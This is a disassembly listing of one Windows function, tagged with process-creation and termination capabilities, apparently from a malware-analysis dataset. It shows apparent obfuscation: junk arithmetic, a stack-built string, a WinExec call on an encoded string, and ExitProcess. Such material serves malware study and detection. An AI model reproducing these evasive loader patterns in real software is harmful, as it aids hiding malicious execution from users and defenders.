Function at 0x4054e6
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push str.askjlkj
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
cmp word [eax + 4], 0x6b
je 0x40550b
xor eax, eax
leave
ret 4
push esi
push edi
and dword [0x40d455], 0
mov edi, dword [0x40d455]
inc edi
mov dword [0x40d455], edi
cmp dword [0x40d455], 0x14
jne 0x405541
push 0x5f75
push str.XV16_X4GF6
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp dword [0x40d455], 0x12
jb 0x405517
mov edi, dword [0x40d479]
and dword [ebp - 0x2e8], edi
mov edi, 0xffffeffd
lea esi, [ebp - 0x10]
call fcn.004044eb
lea edi, [ebp - 0xc]
lea esi, [ebp - 8]
call fcn.0040453a
mov dword [ebp - 0x234], 0x5083782
cmp dword [ebp - 0x234], 0x5083320
jae 0x4055c2
mov esi, 0x29
mov esi, dword [esi*4 + 0x40d3d1]
xor esi, 0x115e
movzx esi, word [ebp - 0x238]
rol esi, 5
mov dword [ebp - 0x238], esi
movzx esi, byte [ebp - 0x2a8]
add dword [ebp - 0x2a0], esi
xor edi, edi
mov esi, 0x15
mov esi, dword [esi*4 + 0x40d52e]
add byte [esi], 9
mov esi, 0x40855c
call fcn.0040453a
mov esi, dword [ebp - 0x250]
and dword [0x40d3d5], esi
mov esi, 0x408560
call fcn.004044eb
mov esi, 0x408564
call fcn.0040453a
test dword [0x40d3d9], esi
mov esi, dword [0x40d3e1]
adc dword [0x40d4c1], esi
mov esi, 0x408568
call fcn.0040453a
lea eax, [ebp + 4]
cmp esi, 0x1c1d
jno 0x40563d
mov edi, dword [0x40d5ae]
mov edi, dword [edi]
xor dword [ebp - 0x3f4], edi
jmp 0x405651
mov edi, dword [ebp - 0x25c]
sub edi, 0x7fbb
mov dword [ebp - 0x25c], edi
mov edi, dword [ebp - 0x2f4]
adc edi, dword [ebp - 0x300]
mov dword [ebp - 0x2f4], edi
mov dword [ebp - 4], eax
mov edi, 0x6586474
lea esi, [ebp - 4]
call fcn.0040453a
mov dword [ebp - 4], ebp
mov eax, 0x62dd
xor dword [ebp - 0x3e0], eax
mov eax, dword [ebp - 4]
call fcn.00403c83
mov edi, dword [0x40855c]
mov esi, 0x4084a8
call fcn.0040453a
cmp dword [ebp - 0x378], eax
lea eax, [ebp - 0x330]
mov dword [ebp - 0x338], eax
mov eax, dword [ebp - 0x338]
mov esi, dword [ebp - 0x340]
sbb dword [eax], esi
push 0x46
pop eax
push 0x3a
mov word [ebp - 0x218], ax
pop eax
mov esi, dword [0x40d52e]
mov ecx, 0x19
and esi, dword [esi + ecx]
push 0x5c
pop esi
push 0x4a
mov word [ebp - 0x216], ax
cmp esi, dword [ebp - 0x2f4]
mov eax, dword [0x40d5be]
mov ecx, 0x62b9
sbb dword [eax], ecx
mov eax, esi
mov word [ebp - 0x214], ax
lea ecx, [ebp - 0x398]
mov dword [ebp - 0x3a4], ecx
mov ecx, dword [ebp - 0x3a4]
movzx edx, byte [ebp - 0x3ac]
xor dword [ecx], edx
mov word [ebp - 0x212], ax
pop eax
push 0x48
mov ecx, eax
mov word [ebp - 0x210], cx
pop ecx
mov edx, dword [ebp - 0x324]
mov edi, dword [0x40d3e9]
and edx, edi
mov dword [ebp - 0x324], edx
push 0x44
mov edx, ecx
mov word [ebp - 0x20e], dx
pop edx
push 0x4b
mov word [ebp - 0x20c], dx
mov edx, dword [0x40d4a9]
mov edi, dword [ebp - 0x2b8]
sub edx, edi
mov dword [0x40d4a9], edx
pop edx
mov edi, edx
mov word [ebp - 0x20a], di
mov edi, eax
mov word [ebp - 0x208], di
mov dword [ebp - 0x294], 0xe7bb
cmp dword [ebp - 0x294], 0xf048
jge 0x4058f5
mov edi, ecx
mov word [ebp - 0x206], di
mov edi, eax
mov word [ebp - 0x204], di
mov edi, edx
mov word [ebp - 0x202], di
mov edi, ecx
mov word [ebp - 0x1fc], si
mov word [ebp - 0x200], di
mov edi, 0x22
mov edi, dword [edi*4 + 0x40d52e]
or byte [edi], 0x78
mov edi, esi
and dword [ebp - 0x21c], 0
mov esi, dword [ebp - 0x21c]
inc esi
mov dword [ebp - 0x21c], esi
cmp dword [ebp - 0x21c], 0x2e
jne 0x40581a
push dword [ebp - 0x28]
push 0x5ed3
call dword [sym.imp.USER32.dll_LookupIconIdFromDirectory]
cmp dword [ebp - 0x21c], 0x1e
jb 0x4057ec
push 0x44
pop esi
mov word [ebp - 0x1fa], si
test ebx, ecx
mov esi, dword [0x40d4cd]
sal esi, 2
mov dword [0x40d4cd], esi
mov esi, eax
mov word [ebp - 0x1f8], si
mov esi, edx
mov word [ebp - 0x1f6], si
mov esi, eax
mov word [ebp - 0x1f4], si
cmp ecx, dword [0x40d4a9]
mov esi, dword [ebp - 0x250]
adc esi, dword [0x40d491]
mov dword [ebp - 0x250], esi
mov esi, ecx
mov word [ebp - 0x1fe], di
mov word [ebp - 0x1f2], si
mov word [ebp - 0x1f0], dx
mov word [ebp - 0x1ee], ax
mov word [ebp - 0x1ec], cx
mov eax, 0x13a4
sub dword [ebp - 0x3c8], eax
push 0x2e
pop eax
push 0x44
mov word [ebp - 0x1ea], ax
pop eax
push 0x4c
mov word [ebp - 0x1e8], ax
pop eax
mov word [ebp - 0x1e6], ax
mov word [ebp - 0x1e4], ax
xor eax, eax
push 0x1d0
push eax
mov word [ebp - 0x1e2], ax
lea eax, [ebp - 0x1e0]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakePrettyW]
test eax, eax
je 0x405967
mov dword [ebp - 0x25c], 0x7fffff30
cmp dword [ebp - 0x25c], 0x7fffef30
ja 0x405933
mov esi, 0x327d
mov edi, dword [0x40d3d1]
sbb edi, esi
mov dword [0x40d3d1], edi
mov edi, dword [0x408560]
mov esi, 0x4084ac
call fcn.004044eb
mov esi, dword [0x40d54a]
mov edi, dword [0x40d469]
and edi, dword [esi]
mov dword [0x40d469], edi
mov edi, dword [0x408564]
mov esi, str.bFv_b
call fcn.0040453a
mov edi, dword [ebp - 8]
mov esi, 0x4084b4
call fcn.0040453a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
and dword [ebp - 0x260], 0
jmp 0x405999
mov edi, dword [ebp - 0x260]
inc edi
mov dword [ebp - 0x260], edi
cmp dword [ebp - 0x260], 0x1d
jae 0x4059cc
cmp dword [ebp - 0x260], 0x2c
jne 0x4059c7
push dword [ebp - 0x20]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
jmp 0x40598a
pop edi
pop esi
test eax, eax
je 0x405a75
call fcn.00405a7d
mov eax, dword [ebp - 0x318]
mov ecx, dword [0x40d60a]
and eax, dword [ecx]
mov dword [ebp - 0x318], eax
mov eax, dword [ebp - 8]
mov ecx, dword [0x4084b4]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov eax, dword [0x408104]
cmp dword [ebp - 0x37c], 0x260d
jbe 0x405a2e
mov ecx, dword [ebp - 0x22c]
or ecx, dword [ebp - 0x238]
mov dword [ebp - 0x22c], ecx
jmp 0x405a3b
mov ecx, dword [0x40d3d9]
sub dword [ebp - 0x2c0], ecx
movzx ecx, byte [ebp - 0x25c]
and ecx, dword [ebp - 0x260]
mov dword [ebp - 0x25c], ecx
mov ecx, dword [0x408100]
xor eax, ecx
mov dword [0x408100], eax
mov eax, dword [0x408568]
mov ecx, dword [0x408100]
add dword [eax], ecx
mov eax, dword [ebp - 8]
mov eax, dword [eax]
jmp 0x405507
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]